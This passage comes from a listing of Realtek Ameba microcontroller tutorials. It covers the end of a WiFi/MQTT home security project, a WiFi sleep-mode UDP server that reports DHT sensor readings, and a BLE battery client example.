code](https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/windowSecuritySystem_switch_Github.ino) you find in this repository to your Ameba1 RTL8195 boards respectively using arduino IDE 3. In order to connect to WiFi and MQTT server, you need to key in your WiFi SSID, WiFi passowrd, MQTT username and MQTT password, - username: same as your amebaiot.com username - password: same as your amebaiot.com password Done that's it! You have created a simple yet powerful home security system! To watch how how it is done, click link below,
  24. One of the challenges of using IoT enabled MCU is the power consumption. However, on Ameba, you can keep the WiFi on while in sleep mode thus enabling power saving and connectivity. Here is a demo of how to achieve WiFi in sleep mode. Preparation Ameba x 1 DHT11/DHT22/DHT21 x 1 Example In deepsleep mode, the WiFi feature of Ameba is disabled. If you want to save power and keep the WiFi connection at the same time, please use the sleep API. Open "File" -> "Examples" -> "AmebaPowerSave" -> "SleepWithDHTUdpServ" Remember to set the ssid & password in the sample code. In this example, Ameba act as an UDP server, it establishes a wifi connection then enter sleep mode. When Ameba receives UDP packets with content "H", it replies the humidity value, and when it receives UDP packets with content "T", it replies the temperature value. When the sleep mode is enabled, Ameba goes to sleep or wakes up automatically. We use the "Sokit" tool to set the IP & port of Ameba, and request for temperature and humidity values in turn. Note that Ameba would check the status of pin D18, if it is connected to the GND, Ameba would not enter sleep mode. We compare the example with/without power-saving: (We use the Keysight 34465A multimeter in the experiment) NOTE: In reality, due to the energy loss in the voltage conversion and operation, the actual usage time may be different.
  25. Materials AmebaD [RTL8722 CSM/DM] x 2 Example Introduction BLE connections use a server client model. The server contains the data of interest, while the client connects to the server to read the data. Commonly, a Bluetooth peripheral device acts as a server, while a Bluetooth central device acts as a client. Servers can contain many services, with each service containing a some set of data. Clients can send requests to read or write some data and can also subscribe to notifications so that the server can send data updates to a client. In this example, a basic battery client is set up on the Ameba Bluetooth stack. The client connects to another Ameba board running the corresponding BLE battery service to read the battery level data. Procedure On the first Ameba board, upload the BLEBatteryService example code and let it run. For the second Ameba board, open the example “Files” -> “Examples” -> “AmebaBLE” -> “BLEBatteryClient”. Upload the code and press the reset button on Ameba once the upload is finished. Open the serial monitor and observe the log messages as the Ameba board with the battery client scans, connects, and reads data from the Ameba board with the battery service. Highlighted in yellow, the Ameba board with the battery client first scans for advertising BLE devices with the advertised device name “AMEBA_BLE_DEV” and the advertised service UUID of 0x180F representing the battery service. After finding the target device, the Ameba board with the battery client forms a BLE connection and searches for a battery service on the connected device, highlighted in blue. With the client connected to the service, the battery client begins to read data using both regular data reads and notifications, highlighted in green. Code Reference BLEClient is used to create a client object to discover services and characteristics on the connected device. setNotifyCallback() is used to register a function that will be called when a battery level notification is received. BLE.configClient() is used to configure the Bluetooth stack for client operation. addClient(connID) creates a new BLEClient object that corresponds to the connected device. For more resources: If you need additional technical documents or the source code for this project. Please visit the official websites and join the Facebook group and forum. Ameba Official Website: https://www.amebaiot.com/en/ Ameba Facebook Group: https://www.facebook.com/groups/amebaioten Ameba Forum: https://forum.amebaiot.com/
×
  • Create New...